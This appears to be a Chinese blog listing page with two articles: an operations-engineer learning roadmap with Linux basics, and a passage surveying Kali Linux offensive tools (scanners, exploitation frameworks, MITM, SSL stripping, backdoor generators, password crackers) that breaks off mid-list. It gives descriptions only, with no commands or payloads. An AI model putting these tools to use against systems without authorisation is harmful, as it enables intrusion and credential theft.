@[toc]运维工程师在前期是一个很苦逼的工作,在这期间可能干着修电脑、掐网线、搬机器的活,显得没地位!时间也很碎片化,各种零碎的琐事围绕着你,很难体现个人价值,渐渐的对行业很迷茫,觉得没什么发展前途。这些枯燥无味工作的确会使人匮乏,从技术层面讲这些其实都是基本功,对后期的运维工作会无形中带来一定的帮助,因为我也是这么过来的,能深刻体会到。所以在这个时期一定要保持积极向上的心态,持续的学习。在未来的某一天,相信会回报给你的!好了,进入正题,根据我多年的运维工作经验,给大家分享下高级运维工程师学习路线。初级1、Linux基础刚开始阶段需要熟悉Linux/Windows操作系统安装,目录结构、启动流程等。2、系统管理主要学习Linux系统,生产环境中基本都在字符界面完成工作,所以要掌握常用的几十个基本管理命令,包括用户管理、磁盘分区、软件包管理、文件权限、文本处理、进程管理、性能分析工具等。3、网络基础OSI和TCP/IP模型一定要熟悉。基本的交换机、路由器概念及实现原理要知道。4、Shell脚本编程基础掌握Shell基本语法结构,能编写简单的脚本即可。中级1、网络服务最常用的网络服务一定得会部署,比如vsftp、nfs、samba、bind、dhcp等。代码版本管理系统少不了,可以学习下主流的SVN和GIT,能部署和简单使用就可以了。经常在服务器之间传输数据,所以要会使用:rsync和scp。数据同步:inotify/sersync。重复性完成一些工作,可写成脚本定时去运行,所以得会配置Linux下的定时任务服务crond。2、Web服务每个公司基本都会有网站,能让网站跑起来,就需要搭建Web服务平台了。如果是用PHP语言开发的,通常搭建LAMP、LNMP网站平台,这是一个技术名词组合的拼写,分开讲就是得会部署Apache、Nginx、MySQL和PHP。如果是JAVA语言开发的,通常使用Tomcat运行项目,为了提高访问速度,可以使用Nginx反向代理Tomcat,Nginx处理静态页面,Tomcat处理动态页面,实现动静分离。不是会部署这么简单,还要知道HTTP协议工作原理、简单的性能调优。3、数据库数据库选择MySQL,它是世界上使用最为广泛的开源数据库。学它准没错!也要会一些简单的SQL语句、用户管理、常用存储引擎、数据库备份与恢复。想要深入点,必须会主从复制、性能优化、主流集群方案:MHA、MGR等。NoSQL这么流行当然也少不了,学下Redis、MongoDB这两个就好了。4、安全安全很重要,不要等到系统被入侵了,再做安全策略,此时已晚!所以,当一台服务器上线后应马上做安全访问控制策略,比如使用iptables限制只允许信任源IP访问,关闭一些无用的服务和端口等。一些常见的攻击类型一定得知道啊,否则怎么对症下药呢!比如CC、DDOS、ARP等。5、监控系统监控必不可少,是及时发现问题和追溯问题的救命稻草。可以选择学习主流的Zabbix开源监控系统,功能丰富,能满足基本的监控需求。监控点包括基本服务器资源、接口状态、服务性能、PV/UV、日志等方面。也可以弄个仪表盘展示几个实时关键的数据,比如Grafana,会非常炫酷。6、Shell脚本编程进阶Shell脚本是Linux自动完成工作的利器,必须得熟练编写,所以得进一步学习函数、数组、信号、发邮件等。文本处理三剑客(grep、sed、awk)得玩6啊,Linux下文本处理就指望它们了。7、Python开发基础Shell脚本只能完成一些基本的任务,想要完成更复杂些的任务,比如调用API、多进程等。就需要学高级语言了。Python是运维领域使用最多的语言,简单易用,学它准没错!此阶段掌握基础就可以了,例如基本语法结构、文件对象操作、函数、迭代对象、异常处理、发邮件、数据库编程等。高级1、Web静态缓存用户老喊着访问网站慢,看看服务器资源还很富裕啊!网站访问慢也许不是服务器资源饱和导致的,影响因素很多,例如网络、转发层数等。对于网络,存在南北通信问题,之间访问会慢,这个可以使用CDN解决,同时缓存静态页面,尽可能将请求拦截在最上层响应,减少后端请求和响应时间。如果不用CDN,也可以使用Squid、Varnish、Nginx这样的缓存服务实现静态页面缓存,放到流量入口处。2、集群单台服务器终究资源有限,抵抗高访问量肯定是无法支撑的,解决此问题最关键的技术就是采用负载均衡器,水平扩展多台Web服务器,同时对外提供服务,这样就成倍扩展性能了。负载均衡器主流开源技术有LVS、HAProxy和Nginx。一定要熟悉一两个!Web服务器性能瓶颈解决了,数据库更为关键,还是采用集群,就拿学的MySQL来说,可以一主多从架构,在此基础上读写分离,主负责写,多从负责读,从库可水平扩展,前面再来个四层负载均衡器,承载千万级PV,妥妥的!高可用软件也得会,避免单点的利器,主流的有Keepalived、Heartbeat等。网站图片咋这么多呢!NFS共享存储支撑不过了,处理很慢,好弄!上分布式文件系统,并行处理任务,无单点,高可靠,高性能等特性,主流的有FastDFS、MFS、HDFS、Ceph、GFS等。初期的话我建议学习下FastDFS,能满足中小规模需求。3、虚拟化硬件服务器资源利用率很低,甚是浪费!可以把空闲多的服务器虚拟化,弄成很多个的虚拟机,每个虚拟机就是一个完整的操作系统。可以很大程度提高资源利用率。建议学习开源的KVM+OpenStack云平台。虚拟机作为基础平台还可以,但应用业务弹性伸缩也太重量了吧!启动好几分钟,文件又这么大,快速扩展太费劲了!好说,上容器,容器主要特点就是快速部署和环境隔离。一个服务封装到镜像中,分分钟钟可创建几百个容器。主流的容器技术非Docker莫属了。当然,生产环境单机Docker大多数情况下是无法满足业务需求的,可以部署Kubernetes、Swarm集群化管理容器,形成一个大的资源池,集中管理,为基础架构提供有力的支撑。4、自动化反反复复重复的工作,不但提高不了效率,价值也得不到体现。一切运维工作标准化,例如环境版本、目录结构、操作系统等统一。在标准化基础上才能更方面的自动化,点点鼠标或者敲几个命令即可完成一项复杂的工作任务,爽哉爽哉!因此,所有的操作尽可能自动化,减少人为失误,提高工作效率。主流服务器集中管理工具:Ansible、Saltstack这两个选择任意一个就行。持续集成工具:Jenkins5、Python开发进阶可以再深入学习下Python开发,掌握面向对象编程。最好也掌学习一个Web框架开发网站,例如Django、Flask,主要是开发运维管理系统,将一些复杂的流程写到平台中,再集成集中管理工具,可打造一个属于运维自己的管理平台。6、日志分析系统日志也很重要,定期的分析,可发现潜在隐患,提炼出有价值的东西。开源的一套日志系统:ELK学会部署使用,给开发提供日志查看需求。7、性能优化只会部署是远远不够的,性能优化能最大化提升服务承载量。这块也是比较难的,也是高薪的关键点之一,为了钱也得下点功夫学习啊!可以从硬件层、操作系统层、软件层和架构层维度展开思考。武器类型武器名称文本处理grep、sed、awk数据传输Rsync、Scp、Inodify/Sersync进程管理Supervisor性能分析top、free、df、iftop、iostat、vmstat、dstat、sar、sysdig网络服务vsftp、nfs、samba、bind、dhcp、postfixWeb服务Apache、Nginx、Tomcat、JBoss、Resin数据库MySQL、MariaDB、Percona Server for MySQLNoSQLRedis、MongoDB消息中间件RabbitMQ、ActiveMQ版本管理SVN、Git静态缓存Squid、Varnish、Nginx负载均衡LVS、HAProxy、Nginx高可用软件Keepalived、Heartbeat、DRBD、corosync+pacemaker集中管理工具Ansible、Saltstack、Chef、Puppet虚拟化与云平台KVM、Xen、Docker、Kubernetes、Openstack、Cloudstack自动装机Kickstart、Cobbler抓包分析Tcpdump、Wireshark持续集成Jenkins、GitlabMySQL代理Altas、Cobar、Mycat压测ab、fio、sysbench、mysqlslap安全检查chrootkit、rkhunter日志系统ELK监控Zabbix、Cacti、Nagios、Grafana意识1、坚持学习是一个很漫长的过程,是我们每个人需要用一生去坚持的事业。贵在坚持,难在坚持,成在坚持!2、目标没有目标的不叫工作,没有量化的不叫目标。每到一个阶段,制定一个目标。比如:先定一个能达到的小目标,挣它一个亿!3、分享学会分享,技术的价值在于能有效地将知识传递到外界,让更多的人知道它。只要人人都拿出一点东西来,想想会变成什么样?方向对了,就不怕路远了!十项Linux常识1、GNU和GPLGNU计划(又称革奴计划),是由Richard Stallman(理查德·斯托曼)在1983年9月27日公开发起的自由软件集体协作计划。它的目标是创建一套完全自由的操作系统。GNU也称为自由软件工程项目。GPL是GNU的通用公共许可证(GNU General Public License,GPL),即“反版权”概念,是GNU协议之一,目的是保护GNU软件可以自由的使用、复制、研究、修改和发布。同时要求软件必须以源代码的形式发布。GNU系统与Linux内核结合构成一个完整的操作系统:一个基于Linux的GNU系统,该操作系统在通常情况下称为“GNU/Linux”,或简称Linux。2、Linux发行版一个典型的Linux发行版包括:Linux内核,一些GNU程序库和工具,命令行shell,图形界面的X Window系统和相应的桌面环境,如KDE或GNOME,并包含数千种从办公套件,编译器,文本编辑器到科学工具的应用软件。主流的发行版:Red Hat Enterprise Linux、CentOS、SUSE、Ubuntu、Debian、Fedora、Gentoo3、Unix和LinuxLinux是基于Unix的,属于Unix类,Uinx操作系统支持多用户、多任务、多线程和支持多种CPU架构的操作系统。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。4、Swap分区Swap分区,即交换区,系统在物理内存不够时,与Swap进行交换。即当系统的物理内存不够用时,把硬盘中一部分空间释放出来,以供当前运行的程序使用。当那些程序要运行时,再从Swap分区中恢复保存的数据到内存中。那些被释放内存空间的程序一般是很长时间没有什么操作的程序。Swap空间一般应大于或等于物理内存的大小,同时最小不应小于64M,最大应该是物理内存的两倍。5、GRUB的概念GNU GRUB(GRand Unified Bootloader简称“GRUB”)是一个来自GNU项目的多操作系统启动引导管理程序。GRUB是一个支持多种操作系统的启动引导管理器,在一台有多个操作系统的计算机中,可以通过GRUB在计算机启动时选择用户希望运行的操作系统。同时GRUB可以引导Linux系统分区上的不同内核,也可用于向内核传递启动参数,如进入单用户模式。6、Buffer和CacheCache(缓存)位于CPU与内存之间的临时存储器,缓存容量比内存小的多但交换速度比内存要快得多。Cache通过缓存文件数据块,解决CPU运算速度与内存读写速度不匹配的矛盾,提高CPU和内存之间的数据交换速度。Cache缓存越大,CPU处理速度越快。Buffer(缓冲)高速缓冲存储器,通过缓存磁盘(I/O设备)数据块,加快对磁盘上数据的访问,减少I/O,提高内存和硬盘(或其他I/O设备)之间的数据交换速度。Buffer是即将要被写入磁盘的,而Cache是被从磁盘中读出来的。7、TCP三次握手(1)请求端发送SYN(SYN=A)数据包,等待响应端确认(2)响应端接收SYN,并返回SYN(A+1)和自己的ACK(K)包给请求端(3)请求端接收到响应端的SYN+ACK包,再次向响应端发送确认包ACK(K+1)请求端和响应端建立TCP连接,完成三次握手,开始进行数据传输。8、linux系统目录结构Linux文件系统采用带链接的树形目录结构,即只有一个根目录(通常用“/”表示),其中含有下级子目录或文件的信息;子目录中又可含有更下级的子目录或者文件的信息。/:第一层次结构的根,整个文件系统层次结构的根目录。即文件系统的入口,最高一级目录。/boot:包含Linux内核及系统引导程序所需的文件,例如kernel、initrd;grub系统引导管理器也在这个目录下。/bin:基本系统所需要的命令,功能和"/usr/bin"类似,这个目录下的文件都是可执行的.普通用户也是可以执行的。/sbin:基本的系统维护命令,只能由超级用户使用。/etc:所有的系统配置文件。/dev:设备文件存储目录.像终端、磁盘、光驱等。/var:存放经常变动的数据,像日志、邮件等。/home:普通用户的目录默认存储目录。/opt:第三方软件的存放目录,比如用户自定义软件包和编译的软件包就安装到这个目录中。/lib:库文件和内核模块存放目录,包含系统程序所需要的所有共享库文件。9、硬链接和软链接硬链接(Hard Link):硬链接是使用同一个索引节点(inode号)的链接, 即可以允许多个文件名指向同一个文件索引节点(硬链接不支持目录链接,不能跨分区链接),删除一个硬链接,不会影响该索引节点的源文件以及其下的多个硬链接。ln source new-link软连接(符号链接,Symbolic Link):符号链接是以路径的形式创建的链接,类似于windows的快捷方式链接,符号链接允许创建多个文件名链接到同一个源文件,删除源文件,其下的所有软连接将不可用。(软连接支持目录,支持跨分区、跨文件系统)ln -s source new-link10、RAID技术磁盘阵列(Redundant Arrays of independent Disks,RAID),廉价冗余(独立)磁盘阵列。RAID是一种把多块独立的物理硬盘按不同的方式组合起来形成一个硬盘组(逻辑硬盘),提供比单个硬盘更高的存储性能和数据备份技术。RAID技术,可以实现把多个磁盘组合在一起作为一个逻辑卷提供磁盘跨越功能;可以把数据分成多个数据块(Block)并行写入/读出多个磁盘以提高访问磁盘的速度;可以通过镜像或校验操作提供容错能力。具体的功能以不同的RAID组合实现。在用户看来,RAID组成的磁盘组就像是一个硬盘,可以对它进行分区、格式化等操作。RAID的存储速度比单个硬盘高很多,并且可以提供自动数据备份,提供良好的容错能力。RAID级别,不同的RAID组合方式分为不同的RAID级别:RAID 0:称为Stripping条带存储技术,所有磁盘完全地并行读,并行写,是组建磁盘阵列最简单的一种形式,只需要2块以上的硬盘即可,成本低,可以提供整个磁盘的性能和吞吐量,但RAID 0没有提供数据冗余和错误修复功能,因此单块硬盘的损坏会导致所有的数据丢失。(RAID 0只是单纯地提高磁盘容量和性能,没有为数据提供可靠性保证,适用于对数据安全性要求不高的环境)RAID 1:镜像存储,通过把两块磁盘中的一块磁盘的数据镜像到另一块磁盘上, 实现数据冗余,在两块磁盘上产生互为备份的数据,其容量仅等于一块磁盘的容量。当数据在写入一块磁盘时,会在另一块闲置的磁盘上生产镜像,在不影响性能情况下最大限度的保证系统的可靠性和可修复性;当原始数据繁忙时,可直接从镜像拷贝中读取数据(从两块硬盘中较快的一块中读出),提高读取性能。相反的,RAID 1的写入速度较缓慢。RAID 1一般支持“热交换”,即阵列中硬盘的移除或替换可以在系统运行状态下进行,无须中断退出系统。RAID 1是磁盘阵列中硬盘单位成本最高的,但它提供了很高的数据安全性、可靠性和可用性,当一块硬盘失效时,系统可以自动切换到镜像磁盘上读写,而不需要重组失效的数据。RAID 0+1:也被称为RAID 10,实际是将RAID 0和RAID 1结合的形式,在连续地以位或字节为单位分割数据并且并行读/写多个磁盘的同时,为每一块磁盘做镜像进行冗余。通过RAID 0+1的组合形式,数据除分布在多个盘上外,每个盘都有其物理镜像盘,提供冗余能力,允许一个以下磁盘故障,而不影响数据可用性,并且有快速读/写能力。RAID 0+1至少需要4个硬盘在磁盘镜像中建立带区集。RAID 0+1技术在保证数据高可靠性的同时,也保证了数据读/写的高效性。RAID 5:是一种存储性能、数据安全和存储成本兼顾的存储解决方案。RAID 5可以理解为是RAID 0和RAID 1的折衷方案,RAID 5至少需要三块硬盘。RAID 5可以为系统提供数据安全保障,但保障程度要比镜像低而磁盘空间利用率要比镜像高。RAID 5具有和RAID 0相近似的数据读取速度,只是多了一个奇偶校验信息,写入数据的速度比对单个磁盘进行写入操作稍慢。同时由于多个数据对应一个奇偶校验信息,RAID 5的磁盘空间利用率要比RAID 1高,存储成本相对较低,是目前运用较多的一种解决方案。
文章
存储  ·  缓存  ·  运维  ·  监控  ·  关系型数据库  ·  MySQL  ·  Linux  ·  应用服务中间件  ·  nginx  ·  容器
2023-02-03
kali工具详细讲解
目录前言一、信息收集工具二、脆弱性分析工具三、漏洞利用工具四、嗅探与欺骗工具五、密码攻击工具六、权限提升工具七、Web应用工具八、无线攻击工具九、硬件黑客工具十、维持访问工具十一、取证工具十二、逆向工程工具十三、压力测试工具十四、报告工具十五、kali Top10 工具本章小结前言Kali系统预装了大量的安全工具,可以说是一个安全工具的数据库。在kali2018.2系统中就有600多个工具,工具如此之多,掌握所有的工具是不现实的,只有需要用的时候再去学习工具的使用即可。但是了解这些工具的用途,掌握一些常用的安全工具是必要的,本篇文章主要对一些常用的安全工具进行介绍,这里只需要简单地了解一下这些工具的用途和使用方法,在后边的文章中将会用到这些工具完成相应的实操,还会具体讲解这些工具的使用。kali提供的工具有很多,从应用和功能的角度可以将工具分成14种类型,分别是:信息搜集、脆弱性分析、漏洞利用、嗅探和欺骗、密码工具、权限提升、web应用、无线攻击、硬件黑客、权限维持、取证工具、逆向工程、压力测试、报告工具。kali系统工具的介绍可参考官方网站:https://www.kali.org/tools/一、信息收集工具信息收集时进行安全渗透测试必要的准备工作,其主要目的是收集渗透测试目标的基本信息,包括操作系统信息、网络配置信息、应用服务信息等。kali提供的信息收集工具的使用模式分为三种,分别是:命令行模式、图形用户界面模式和Shell命令行模式名称使用模式描述Amap命令行Amap是一个服务扫描工具,它是最早被称为下一代扫描器的软件,可以识别不同的应用程序,即使这些程序运行在一个异常的端口上。Amap最早开始支持UDP协议和IPv6地址空间的扫描,可作为nmap重要的补充工具。同时amap还提供未知应用特征的自动测定功能,让我们可以方便定制扫描结果arp-scan命令行arp-scan是一个用来进行系统发现和指纹识别的命令行工具,它可以构建并发送ARP请求到指定的IP地址,并且显示返回的任何响应DMitry命令行DMitry是一个用C语言开发的UNIX/(GUN)Linux命令行工具,能够收集目标主机尽可能多的信息,包括主机所在的子域、电子邮件地址、运行时间、TCP端口扫描、whois查询等。dnmap命令行dnmap是一个能够在多台客户机上执行分布式nmap扫描的框架,它可以读取包括nmap命令的文件,并把该命令文件发给与之相连的多台客户机,在这些客户机上执行nmap文件中的命令。dnmap框架采用的是客户机/服务器模式,服务器发布命令,客户机执行命令,从而实现分布式nmap扫描dnsenum命令行dnsenum通过执行多线程Perl脚本来枚举域的DNS信息,从而发现非相邻的IP块Fierce命令行Fierce不是一个IP地址扫描器,也不是一个DDos工具,它不是涉及来扫描整个互联网或执行任何非针对性的攻击的。它是一个Perl脚本,是一个侦察工具,可以对域进行快速扫描,用来定位公司网络内部和外部可能的目标MaltegoTeeth图形用户界面Maltego是一个独特的平台,用于向组织拥有和运营的环境传递清晰的威胁画面。Maltego的独特优势在于证明单点故障的复杂性和严重性以及网络设备间的信任问题Nmap命令行Nmap是一个免费的、开源的用于网络发现和安全审计的工具,可用于网络资产管理、网络服务升级管理、监控主机或服务正常运行等任务Nmap功能强大,可判断主机是否在线,判断主机运行的操作系统类型和版本,判断主机提供了哪些服务(应用程序名称和版本)、使用了什么类型的过滤器或防火墙,以及其他几十种特性。p0f命令行来对主机上的操作系统进行鉴别,即使是在系统上装有性能良好的防火墙的 p0f是一款被动探测工具,能够通过捕获并分析目标主机发出的数据包 NAT、负载均衡、应用代理等,它是一个万能的被动操作系统指纹工具。 情况下也没有问题。同时p0f在网络分析方面功能强大,可以用它来分析Recon-NGShell命令行令行 Recon-NG是由Python编写的一个开源的Web侦查(信息收集)框架, 成数据库,可把查询结果结构化存储在其中,有报告模块,把结果导出为报告。 使用它可以自动地收集信息和网络侦查。其命令格式与Metasploit默认集smtp-user-enum命令行大部分基于类Unix系统的邮件服务,采用操作系统账号作为邮件账号, 因此对于其邮件账号的探测,其实就等同于对操作系统账号的探测,以便进 行后续弱密码口令的破解。smtp-user-enum基于三种方法验证邮件账号是否 存在,同时支持基于字典的批量验证。snmp-check命令行snmp-check是一款基于默认或指定团体名,对目标设备进行信息批量查 询的工具,其默认支持Windows、类Unix、网络设备和打印机等。完全依靠 人工来监控大型网络的运行状态,是一种令人崩溃的任务。SNMP协议可以大 大简化系统和网络管理员的工作,实现问题的快速定位和排查。Unicornscan命令行Unicornscan是一款通过尝试连接用户系统(User-Land)分布式TCP/ IP堆栈获得信息和关联关系的端口扫描器。它是一个新的信息收集引擎,主 要用于安全研究和通讯测试,主要特点是精确、灵活而且高效。Wireshark图形用户界面Wireshark从Ethereal发展而来,是一款网络数据包捕获和分析工具, 它使用WinPcap作为接口,可跳过TCP/IP协议栈直接与网卡进行数据包的 交换。Kali系统提供的信息收集工具还有很多,以上是一些比较常用的工具,这些工具的功能几乎涵盖了信息收集的各个方面,有操作系统的信息、应用服务的信息、网络信息等,熟练使用这些工具,对目标系统和网络的信息进行收集,在后续的安全渗透测试过程中,就能做到“知己知彼,百战不殆”。二、脆弱性分析工具在信息收集的基础上,要进行渗透,需要对目标系统或网络的脆弱性(也就是漏洞)进行进一步的分析, Kali系统提供了大量实用的脆弱性分析工具来发现这些漏洞,为后续的漏洞利用提供支持。Kali提供的脆弱性分析工具如下表所示:名称使用模式描述BBQSQLShell命令行BBQSQL是一款用Python写的SQL盲注框架,对SQL注入漏洞 攻击非常有效。它是一种半自动工具,自带一个直观的UI用户界 面,允许许多难以触发的SQL注入变得用户化,使设置攻击更容易。 BBQSQL用法非常灵活,与数据库无关,不关心数据或数据库,而大 多数SQL注入工具是要具体的数据库或语言建立的。BED命令行BED(Bruteforce Exploit Detector)是一款缓存区漏洞检测 工具。它预置了十一种插件。这些插件针对不同的服务或系统,如 FTP、SMTP、POP等。同时,这些插件内包含了已知的各种攻击载荷。 BED通过加载插件,向目标主机发送攻击数据。如果发现目标无法响 应,说明目标可能存在溢出区漏洞。经过多次测试验证,就可以判断 漏洞出现的位置。然后手工执行验证,采用代码审核、反编译等方式, 就可以找出漏洞具体触发机制,从而加以利用cisco-auditing- tool命令行cisco-auditing-tool简称CAT,是一款小型的安全审计工具, 可检测出Cisco路由器常见的漏洞,可发现注入默认密码、默认 SNMP字符串和老版本IOS上存在的漏洞。cisco-global- exploiter命令行cisco-global-exploiter是一个小型的Perl脚本,是一个针对 思科设备的漏洞利用工具合集,支持对思科设备的14种独立的漏洞 进行测试。cisco-torch命令行cisco-torch是一款专门针对思科设备的扫描工具,它具备多种 应用层协议的指纹识别特性,借助与第三方指纹库的比对,可以轻 松识别目标设备及系统类型。同时由于采用了多线程的开发方式, 所以在性能上torch也同样表现突出。另外在密码破解和漏洞利用 方面, torch也具备相应的能力。如果torch破解了设备读写权限的 SNMP Community,还可进一步利用其获取设备的完整配置信息。copy-router-config命令行copy-router-config专门针对思科设备而设计,利用SNMP协议 下载和上传思科设备的配置文件。其使用需要tftp服务的配合。Lynis命令行Lynis是个系统安全检查工具,针对Unix和Linux系统而设计, 通过执行一些安全检查发现系统安装的软件以及存在的配置问题。 它能生成一份全面的加固建议列表,并由使用者灵活地自行决定实 施哪些加固措施。Nessus图形用户界面Nessus是世界上最流行的漏洞扫描程序,提供完整的电脑漏洞 扫描服务,并随时更新其漏洞数据库,可同时在本机或远端上遥控, 进行系统的漏洞分析扫描。它完整支持SSL,可自定义功能插件。OpenVAS图形用户界面OpenVAS是目前开源世界最重要的漏洞管理产品,它基于各种安 全行业的标准规范,广泛覆盖了已知的漏洞类型。它使用简单方便, 可以自动发现系统中绝大部分已知漏洞,无论对于渗透测试者还是 安全运维工程师,这都是一个不能缺少的强大工具。针对一些特定的应用, Kali也提供了相应的脆弱性分析工具,如VoIP、Oracle数据库、IPv6协议等,有兴趣的读者可参考Kali官网,上面有这些工具的详细介绍和使用方法,这里不再多言。三、漏洞利用工具发现了操作系统、网络和应用服务的漏洞,接下来怎么利用这些漏洞发起攻击呢? Kali提供了许多漏洞利用工具,这些工具有些功能强大,可以利用的漏洞类型很多,甚至可以定制,针对新的漏洞可通过添加脚本的方式扩展其功能,如Metasploit;有些工具则是针对特定的漏洞具有很好的效果。Kali系统提供的漏洞利用工具如下表所示名称使用模式描述Armitage图形用户界面Armitage是一款Java写的Metasploit图形界面化的攻击软 件,可以用它结合Metasploit中已知的exploit来针对主机存在 的漏洞自动化攻击。通过命令行的方式使用Metasploit难度较高, 需要记忆的命令过多,而Armitage完美地解决了这一问题,用户 只需要简单地点击菜单,就可以实现对目标主机的安全测试和攻 击。Armitage良好的图形展示界面,使得攻击过程更加直观,用 户体验更好。因其操作的简单性,尤其适合Metasploit初学者对 目标系统进行安全测试和攻击。Backdoor Factory命令行Backdoor Factory是一款安全测试工具,可以轻松地生成 win32PE后门测试程序,可对可执行文件进行自动化的后门部署。BeEF图形用户 界面BeEF(Browser Exploitation Framework)是一款针对浏览 器的渗透测试工具。Metasploit FrameworkShell命 令行Metasploit Framework简称MSF,是一个用Ruby语言写的渗 透测试框架,该框架集成了很多可用的渗透利用工具(Exploit Tools),比如著名的ms08_067等。用户可以在这个框架下进行一 系列的渗透测试,利用现有的装备(Payload),如Meterpreter 等进一步拿取对方的Shell。Metasploit功能强大,几乎每一个 从事渗透测试的人都会接触到它,是渗透测试的利器。Exploitdb命令行Exploitdb(Exploit Database)是一个由“Offebnsive Security”提供的漏洞利用程序集的数据库,可以用于平时的参 考和使用。它存储了大量的漏洞利用程序,可以帮助安全研究者 和渗透测试工程师更好地进行安全测试工作。上述漏洞利用工具中Metasploit可以说是最重要也最强大的,Metasploit的Exploit脚本主要用Ruby语言编写,在Kali系统中可看到脚本的源代码,掌握Ruby语言将有助于对这些渗透脚本的理解。四、嗅探与欺骗工具嗅探与欺骗主要针对的是网络。嗅探是指利用计算机的网络接口截获其他计算机数据报文的一种手段,在嗅探到的数据包中提取有价值的信息,比如用户名、密码等。欺骗则是利用一些技术手段,骗取目标主机的信任,取得有价值的信息。Kali系统提供的嗅探与欺骗工具如下表所示:名称使用模式描述Burp Suite图形用户界面Burp Suite是Web应用程序测试的最佳工具之一,其功能强大,可 破解登陆表单,执行会话令牌等多种的随机性检查。 以执行多种任务,如请求的拦截和修改,扫描web应用程序漏洞,以暴力破解登录表单,执行会话令牌等多种的随机性检查HexInject命令行HexInject是一款进行数据注入的工具,它可以直接向网络注入渗透 人员构造的数据包,也可以篡改网络传输的数据,为了避免修改带来的数 据验证问题,它默认对包进行校验,并重新计算包的大小,从而提高数据 的真实性。Inviteflood命令行Inviteflood攻击的目标是VoIP,它针对VoIP信令协议SIP中的 INVITE会话请求指令发起洪水攻击,被攻击者会瞬间接到大量呼叫请求, 导致类似电话占线的效果,严重时可令IP电话客户端程序崩溃。iSMTP命令行iSMTP是一款SMTP用户枚举和测试工具。Mitmporary命令行Mitmproxy俗称中间人攻击的神器,是一款有篡改功能的http代理 工具,支持http通信与https通信,既可用于中间人攻击,也可用于 html抓包调试。mitmproxy共有五种代理模式:正向代理模式、反向代理 模式、上行代理模式、透明代理模式和socks5代理模式。SniffJoke命令行SniffJoke是一款网络防嗅探工具。在渗透测试中,通过网络嗅探, 可以获取网络通信主机的各种信息。SniffJoke可以防止嗅探,它能够自 动对用户的网络数据进行附加处理,如发包延时、修改部分包、注入无效 包,使得嗅探工具无法正确读取数据包,并且所有这些附加处理不会影响 数据接收方的处理。SSLstrip命令行SSLstrip也叫https降级攻击,攻击者拦截用户流量后,欺骗用 户与攻击者进行http通信,攻击者与服务器保持正常通信(http或 https),从而获取用户信息。WebScarab图形用户界面WebScarab是由开放式Web应用安全项目(OWASP)组开发的一个用 来分析使用HTTP和HTTPS协议的应用程序框架。WebScarab可以记录它 检测到的会话内容(请求和应答),并允许使用者通过多种形式来查看记 录。可以用它来调试程序中较难处理的漏洞,也可以帮助安全专家发现潜 在的程序漏洞。嗅探与欺骗是安全渗透的常用手段,它充分利用网络协议自身在安全方面不完善的问题,通过IP欺骗、ARP欺骗等手段非法拦截或捕获网络中传输的数据包,通过对网络数据包的分析进一步获取有用的用户信息。通过上述工具的学习和使用,将有助于对网络协议的理解。五、密码攻击工具密码攻击可以说是安全渗透至关重要的一步,也是最为关键的一步。很多系统的安全大门就靠密码守护着,很多攻击者攻击到最后一步就是攻不破那道密码防线。一个好的、强健的密码是很难依靠技术手段攻破的,除非采用一些社会工程手段,如威逼、利诱或者利用对方的疏忽套取密码。那么密码攻击是否毫无用武之地呢?事实上,网络中充斥着很多弱口令,这些弱口令产生的原因是很多用户缺乏安全意识,为了容易记忆,设置的密码过于简单或者有规律可循。另外,一些工具可以帮助我们对弱口令进行自动尝试,节省了手动尝试的时间和繁琐操作,这些工具对弱口令的攻击还是非常有效率的。kali系统提供的密码攻击工具如下表所示:名称使用模式描述BruteSpray命令行BruteSpray是一个基于Nmap扫描结果的端口爆破工具,它可以载入Nmap的扫描结果(gnmap/XML文件),然后对我们指定的端口和IP进行枚举口令爆破,爆破过程可通过自动调用Medusa来进行。Cain&Abel图形用户界面Cain&Abel 是由0xid.it开发的一个针对Microsoft操作系统的免费口令回复工具,号称穷人使用的LC,这是一款网络管理员必备的工具,它可以用来检测Windows,UNIX用户是否使用了不安全的密码。它的功能十分强大,可以进行网络嗅探、网络欺骗、破解加密口令、解码被打乱的口令、显示口令框、显示缓存口令和分析路由协议,甚至还可以监听内网中他人使用V0IP拨打电话。Crunch命令行Crunch是一款密码生成工具,可以按照指定的规则(用户可以指定字符集)生成密码字典。它可以产生所有有可能的组合和排列,其生成的字典字符序列可以输出到屏幕、文件或重定向到另一个程序中。Findmyhash命令行Findmyhash是一款可以破解哈希值的强大脚本,用python语言编写,如果用户希望破解一些难以理解的Hash值,使用Findmyhash脚本可以一键阅读出Hash值内的所有内容。Hash-Identifier命令行Hash-Identifier并不是Hash破解工具,而是用来判断Hash值所使用的加密方法的工具。Hydra Hydra-gtk(九头蛇)命令行图形用户界面Hydra是由THC(黑客优选)社区开发的一个在线快速破译密码工具,目的是为研究人员及安全顾问展示如何从远程侵入系统,其密码词库支持超过50种网络协议,包括Telnet、RDP、SSH、FTP、HTTP、HTTPS、SMB等等,还支持多种数据库的密码破译,Hydra-gtk是其图形用户界面John the Ripper(开膛手约翰)命令行John the Ripper是免费开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD5等。它支持多种不同类型的系统架构,包括Unix,Linux,Windows,Dos模式、BeOs和openVMS,主要目的是破解不够牢固的Unix。Linux系统密码。Medusa(美杜莎)命令行Medusa和Hydra一样是一款在线密码破解工具。优点是Medusa的稳定性较好,但Medusa支持的模块要比Hydra少很多,也不支持RDF服务协议。同时它的表单破解也存在一些问题。RainbowCrack命令行 图形用户界面RainbowCrack是一个使用内存时间交换技术加速口令破解过程的口令破解器。它使用了彩虹表也就是一张预先计算好的明文和散列值的对照表。通过预先花费时间创建这样的彩虹表,能够再以后破解口令时节约大量的时间rtgen命令行rtgen工具用来生成彩虹表。彩虹表是一个庞大的,针对各种可能的字母组合预先计算好的哈希值的集合,不一定是针对MD5算法的,各种算法的都有,有了它可以快速地破解各种密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上的。不同的加密方式要用不同的彩虹表。Samdump2命令行Samdump2是一款破解Windows SAM 